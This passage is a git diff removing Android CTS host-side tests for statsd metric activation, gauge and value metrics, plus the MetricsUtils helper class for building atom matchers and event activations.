-        Thread.sleep(10);
-
-        // Value not collected.
-        doAppBreadcrumbReported(50);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Value collected.
-        doAppBreadcrumbReported(60);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(70);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-        assertThat(metricReport.hasGaugeMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-        assertThat(gaugeData.getDataCount()).isEqualTo(1);
-        assertThat(gaugeData.getData(0).getBucketInfoCount()).isEqualTo(2);
-
-        GaugeBucketInfo bucketInfo = gaugeData.getData(0).getBucketInfo(0);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(10);
-
-        bucketInfo = gaugeData.getData(0).getBucketInfo(1);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(60);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
deleted file mode 100644
index 339970a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ /dev/null
@@ -1,566 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Test Statsd Metric activations and deactivations
- */
-public class MetricActivationTests extends DeviceAtomTestCase {
-    private final long metric1Id = 1L;
-    private final int metric1MatcherId = 1;
-
-    private final long metric2Id = 2L;
-    private final int metric2MatcherId = 2;
-
-    private final long metric3Id = 3L;
-    private final int metric3MatcherId = 3;
-
-    private final int act1MatcherId = 10;
-    private final int act1CancelMatcherId = -10;
-
-    private final int act2MatcherId = 20;
-    private final int act2CancelMatcherId = -20;
-
-
-    private StatsdConfig.Builder createConfig(final int act1TtlSecs, final int act2TtlSecs) {
-        AtomMatcher metric1Matcher =
-                MetricsUtils.simpleAtomMatcher(metric1MatcherId, metric1MatcherId);
-        AtomMatcher metric2Matcher =
-                MetricsUtils.simpleAtomMatcher(metric2MatcherId, metric2MatcherId);
-        AtomMatcher metric3Matcher =
-                MetricsUtils.simpleAtomMatcher(metric3MatcherId, metric3MatcherId);
-        AtomMatcher act1Matcher =
-                MetricsUtils.simpleAtomMatcher(act1MatcherId, act1MatcherId);
-        AtomMatcher act1CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act1CancelMatcherId, act1CancelMatcherId);
-        AtomMatcher act2Matcher =
-                MetricsUtils.simpleAtomMatcher(act2MatcherId, act2MatcherId);
-        AtomMatcher act2CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act2CancelMatcherId, act2CancelMatcherId);
-
-        EventMetric metric1 = EventMetric.newBuilder()
-                .setId(metric1Id)
-                .setWhat(metric1MatcherId)
-                .build();
-
-        EventMetric metric2 = EventMetric.newBuilder()
-                .setId(metric2Id)
-                .setWhat(metric2MatcherId)
-                .build();
-
-        EventMetric metric3 = EventMetric.newBuilder()
-                .setId(metric3Id)
-                .setWhat(metric3MatcherId)
-                .build();
-
-        EventActivation metric1Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        EventActivation metric1Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        MetricActivation metric1Activation = MetricActivation.newBuilder()
-                .setMetricId(metric1Id)
-                .addEventActivation(metric1Act1)
-                .addEventActivation(metric1Act2)
-                .build();
-
-        MetricActivation metric2Activation = MetricActivation.newBuilder()
-                .setMetricId(metric2Id)
-                .addEventActivation(metric2Act1)
-                .addEventActivation(metric2Act2)
-                .build();
-
-        return createConfigBuilder()
-                .addAtomMatcher(metric1Matcher)
-                .addAtomMatcher(metric2Matcher)
-                .addAtomMatcher(metric3Matcher)
-                .addAtomMatcher(act1Matcher)
-                .addAtomMatcher(act1CancelMatcher)
-                .addAtomMatcher(act2Matcher)
-                .addAtomMatcher(act2CancelMatcher)
-                .addEventMetric(metric1)
-                .addEventMetric(metric2)
-                .addEventMetric(metric3)
-                .addMetricActivation(metric1Activation)
-                .addMetricActivation(metric2Activation);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testCancellation() throws Exception {
-        final int act1TtlSecs = 5;
-        final int act2TtlSecs = 8;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger cancel for already inactive event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Second logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 2.
-        doAppBreadcrumbReported(act2CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Fourth logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Expire event activation 1
-        Thread.sleep(act1TtlSecs * 1000);
-
-        // Ignored, metric 1 not active. Activation 1 expired and Activation 2 was cancelled.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 log ignored, Activation 1 expired and Activation 2 needs reboot to activate.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 3.
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 4, 0, 1);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testRestart() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Second logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored, Activation 1 expired.
-        // Metric 2 event ignored, Activation 1 expired.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 2 and Metric 2 Activation 2.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 event ignored, will activate after boot.
-        // Second logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Third logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 300 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 400 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 300 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // Fourth logged event for Metric 2.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire Metric 1 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 300 seconds
-        // Metric 2 Activation 1: 100 seconds
-        // Metric 2 Activation 2: 200 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Fifth logged event for Metric 1.
-        // Fifth logged event for Metric 2.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act2TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Eighth logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 1, 0, 1);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 3, 4);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 2, 2, 3);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testMultipleActivations() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Second logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Fifth logged event for Metric 1.
-        // Second logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 3, 0, 3);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 2, 3);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 0, 0, 1);
-    }
-
-    private void logAllMetrics() throws Exception {
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric2MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-    }
-
-    private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
-            int metric3Count) throws Exception {
-        assertThat(report.getMetricsCount()).isEqualTo(3);
-
-        verifyMetric(
-                report.getMetrics(0),   // StatsLogReport
-                1,                      // Metric Id
-                1,                      // Metric what atom matcher label
-                metric1Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(1),   // StatsLogReport
-                2,                      // Metric Id
-                2,                      // Metric what atom matcher label
-                metric2Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(2),   // StatsLogReport
-                3,                      // Metric Id
-                3,                      // Metric what atom matcher label
-                metric3Count            // Data count
-        );
-    }
-
-    private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
-            int dataCount) {
-        LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(metricId);
-        assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
-
-        StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
-        assertThat(eventData.getDataCount()).isEqualTo(dataCount);
-        for (int i = 0; i < eventData.getDataCount(); i++) {
-            AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
-            assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
deleted file mode 100644
index 7097587..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.google.protobuf.Message;
-import com.google.protobuf.Descriptors.Descriptor;
-import com.google.protobuf.Descriptors.FieldDescriptor;
-
-public class MetricsUtils {
-    public static final long COUNT_METRIC_ID = 3333;
-    public static final long DURATION_METRIC_ID = 4444;
-    public static final long GAUGE_METRIC_ID = 5555;
-    public static final long VALUE_METRIC_ID = 6666;
-
-    public static AtomMatcher.Builder getAtomMatcher(int atomId) {
-        AtomMatcher.Builder builder = AtomMatcher.newBuilder();
-        builder.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomId));
-        return builder;
-    }
-
-    public static AtomMatcher startAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.START.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher startAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.START);
-    }
-
-    public static AtomMatcher stopAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.STOP.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher stopAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.STOP);
-    }
-
-    public static AtomMatcher unspecifiedAtomMatcher(int id) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(AppBreadcrumbReported.State.UNSPECIFIED.ordinal())))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder().setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER))
-          .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabel(int id, int label) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabelAndState(int id, int label,
-            final AppBreadcrumbReported.State state) {
-
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(state.ordinal()))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id, int label) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                            .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                            .setEqInt(label)
-                  )
-          )
-          .build();
-    }
-
-    public static EventActivation.Builder createEventActivation(int ttlSecs, int matcherId,
-            int cancelMatcherId) {
-        return EventActivation.newBuilder()
-                .setAtomMatcherId(matcherId)
-                .setTtlSeconds(ttlSecs)
-                .setDeactivationAtomMatcherId(cancelMatcherId);
-    }
-
-    public static long StringToId(String str) {
-      return str.hashCode();
-    }
-
-    public static void assertBucketTimePresent(Message bucketInfo) {
-        Descriptor descriptor = bucketInfo.getDescriptorForType();
-        boolean found = false;
-        FieldDescriptor bucketNum = descriptor.findFieldByName("bucket_num");
-        FieldDescriptor startMillis = descriptor.findFieldByName("start_bucket_elapsed_millis");
-        FieldDescriptor endMillis = descriptor.findFieldByName("end_bucket_elapsed_millis");
-        if (bucketNum != null && bucketInfo.hasField(bucketNum)) {
-            found = true;
-        } else if (startMillis != null && bucketInfo.hasField(startMillis) &&
-                   endMillis != null && bucketInfo.hasField(endMillis)) {
-            found = true;
-        }
-        assertWithMessage(
-                "Bucket info did not have either bucket num or start and end elapsed millis"
-        ).that(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
deleted file mode 100644
index 0cf5bbb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ /dev/null
@@ -1,465 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemElapsedRealtime;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-
-import com.android.tradefed.log.LogUtil;
-
-public class ValueMetricsTests extends DeviceAtomTestCase {
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testValueMetric() throws Exception {
-    // Add AtomMatcher's.
-    AtomMatcher startAtomMatcher =
-        MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-    AtomMatcher stopAtomMatcher =
-        MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-    AtomMatcher atomMatcher =
-        MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
